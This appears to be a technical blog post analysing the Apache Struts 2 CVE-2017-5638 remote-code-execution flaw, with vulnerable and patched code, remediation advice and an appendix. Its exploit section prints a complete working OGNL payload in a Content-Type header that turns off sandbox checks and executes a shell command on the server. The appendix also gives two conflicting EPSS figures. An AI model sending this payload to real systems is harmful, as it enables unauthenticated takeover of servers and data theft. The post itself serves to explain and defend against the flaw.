CVE-2017-5638

The Billion Dollar Header: Inside the Apache Struts 2 'Equifax' RCE

Alon Barad
Alon Barad
Software Engineer

Jan 7, 2026·6 min read

Executive Summary (TL;DR)

Apache Struts 2 decided to evaluate error messages as code. If an attacker sends a malformed 'Content-Type' header containing OGNL commands, the server tries to process the error, inadvertently executes the attacker's code, and hands over a shell. This is an unauthenticated RCE with system-level privileges.

A critical remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts 2 allows attackers to execute arbitrary commands via crafted HTTP headers. This flaw was the entry point for the 2017 Equifax breach.

The Hook: Java's Dangerous Magic

Apache Struts 2 is the heavy machinery of the enterprise web. It’s the framework that banks, governments, and insurance giants built their empires on in the late 2000s. It’s powerful, strictly typed, and heavily reliant on 'magic' to glue web requests to Java objects. One of those magical components is the Jakarta Multipart Parser.

Its job is simple: handle file uploads. When a user sends a multipart/form-data request, this parser dissects the boundaries, headers, and binary data. It acts as the doorman, checking credentials (headers) before letting the data into the club (the application).

But here is the irony: this vulnerability doesn't trigger when the parser works correctly. It triggers when the parser fails. It’s a bug in the error handling logic. It is the digital equivalent of a bank vault that unlocks itself if you scream the wrong password loud enough.

The Flaw: Accidental Evaluation

So, where did the Struts developers go wrong? The issue lies in how the framework localizes error messages. In a globalized world, you want your error messages to be in the user's language. Struts uses a utility called LocalizedTextUtil to find the right translation for an error key.

When the Jakarta parser encounters an invalid Content-Type header (something that isn't a valid MIME type), it throws an exception. To be helpful, the code catches this exception and tries to display an error message that includes the invalid header, so the developer knows what broke.

The fatal flaw is in how it builds that message. It calls findText and passes the exception message (which contains the attacker's raw header) as the defaultMessage parameter. In Struts 2, if a translation key isn't found, the defaultMessage is treated as an OGNL (Object-Graph Navigation Language) expression and evaluated.

[!WARNING] The Logic Failure: The application takes untrusted input (the malicious header), wraps it in an exception, and feeds it directly into an expression engine that can execute arbitrary Java code. It's essentially eval(user_input) hidden three layers deep in a stack trace.

The Code: The Smoking Gun

Let's look at the diff. This is where the oversight becomes painfully obvious. The vulnerability lived in JakartaMultiPartRequest.java.

The Vulnerable Code

// CVE-2017-5638: The 'oops' moment
public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        processUpload(request, saveDir);
    } catch (FileUploadException e) {
        LOG.warn("Request exceeded size limit!", e);
        String errorMessage = buildErrorMessage(e, new Object[]{e.getMessage()});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}

Inside buildErrorMessage, the code eventually called:

LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);

See that e.getMessage() in the 4th argument? That is the defaultMessage. If errorKey doesn't match a properties file, Struts evaluates e.getMessage() as OGNL.

The Fix

The patch was simple but critical. Instead of passing the exception message as the template, they passed it as an argument to a safe template.

// The Fix: Treat the message as data, not code
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {
    return LocalizedTextUtil.findText(this.getClass(), 
        "struts.messages.error.uploading", // Safe Key
        defaultLocale, 
        null, 
        new Object[] { e.getMessage() }); // Passed as argument array
}

By moving e.getMessage() into the Object[] array, the text is treated as a literal string to be inserted into a placeholder, rather than an expression to be executed. It’s the difference between printf(user_input) and printf("%s", user_input).

The Exploit: Cracking the Shell

Exploiting this is trivially easy, which is why the internet melted down in March 2017. You don't need a valid user account. You don't need a specific file. You just need to send a request to any endpoint that uses the file upload interceptor (which is enabled by default in the defaultStack).

The Payload Anatomy

The attacker crafts a Content-Type header that looks like a chaotic mess of algebra, but is actually a precise sequence of Java operations:

  1. Break out of the string context: The payload starts with %{ or ${.
  2. Bypass Security Sandbox: Older Struts versions had a SecurityMemberAccess mechanism to prevent OGNL from calling sensitive methods. The payload uses Java reflection to set _memberAccess to a permissive object, effectively disabling the security guards.
  3. Execute Command: It uses java.lang.ProcessBuilder to spawn a shell.

The Attack Request

POST /struts2-showcase/fileupload/upload.action HTTP/1.1
Host: target-server.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

When the server receives this, it sees an invalid Content-Type, throws an exception containing the payload, catches it, and executes the whoami command running as the tomcat or root user.

The Impact: Why It Mattered

This vulnerability is the poster child for "Critical Impact." It grants full Remote Code Execution (RCE) with no authentication. Because Struts is often used in complex, legacy enterprise environments, these servers are frequently connected to backend databases, internal APIs, and payment processors.

The most famous victim was Equifax. In 2017, attackers used this exact CVE to breach a dispute portal. They didn't just deface a website; they pivoted from the web server into the internal network, siphoning the personal data of 147 million people over the course of months.

The breach cost Equifax over $1.4 billion in cleanup costs and settlements. All because a Java class tried to localize an error message incorrectly.

The Fix: Patch or Perish

If you are running Struts 2.3.x or 2.5.x, you are likely vulnerable unless you are on the very latest versions.

Immediate Remediation

  1. Upgrade:

    • Struts 2.3.x -> Upgrade to 2.3.32 or later.
    • Struts 2.5.x -> Upgrade to 2.5.10.1 or later.
  2. Verify: Check your struts-core JAR files. Do not rely on package managers alone; developers often bundle JARs inside WAR files.

Workarounds (If you like living dangerously)

If you cannot upgrade immediately (welcome to enterprise Java), you can try to implement a Servlet Filter that inspects the Content-Type header and rejects requests containing %{ or ${ before they reach the Struts dispatcher. However, parser bypasses are common. The only real fix is the patch.

Fix Analysis (2)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
94.27%
Top 0% most exploited
10,000
via Historical estimates post-disclosure

Affected Systems

Apache Struts 2.3.5 - 2.3.31Apache Struts 2.5 - 2.5.10

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache Struts 2
Apache Software Foundation
2.3.5 - 2.3.312.3.32
Apache Struts 2
Apache Software Foundation
2.5.0 - 2.5.102.5.10.1
AttributeDetail
CWE IDCWE-917 (Improper Neutralization of Special Elements in Expression Language Statement)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (HTTP Headers)
EPSS Score99.93% (Highest Percentile)
ImpactUnauthenticated Remote Code Execution (System/Root Privileges)
KEV StatusActive (Added Nov 2021)
CWE-917
Improper Neutralization of Special Elements in Expression Language Statement ('Expression Language Injection')

The software constructs all or part of an expression language statement in a slice of code using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended expression language statement when it is sent to a downstream component.

Vulnerability Timeline

Vulnerability Disclosed (S2-045)
2017-03-06
Public PoC Released
2017-03-07
Mass Exploitation Begins
2017-03-08
Equifax Breach Initiated
2017-03-10
Added to CISA KEV
2021-11-03

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.